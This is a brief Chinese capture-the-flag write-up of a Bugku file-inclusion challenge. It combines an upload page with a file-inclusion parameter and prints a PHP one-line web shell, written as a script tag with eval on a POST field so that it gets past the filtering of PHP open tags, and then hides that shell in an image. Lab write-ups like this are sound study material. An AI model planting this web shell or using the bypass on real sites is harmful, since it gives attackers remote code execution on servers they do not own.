bugku 文件包含2

 页面很正常，url里面有一个file参数，看一下源码

 有一个upload.php看一下

 文件上传，题目是文件包含，就想到了前面做的的上传图片马，用文件包含连接，试一试

 

 

 不知到哪里出问题了，看一下上传的内容

 <?和?>被换成了_，那就试一试没有<>?的一句话，

<script language=php>eval($_POST['shell']);</script>

再做一个图片马上传

 

这题就是文件包含和文件上传的合作，感觉多做题，多想想，就会很自然的想到。但是一些细节还是要试。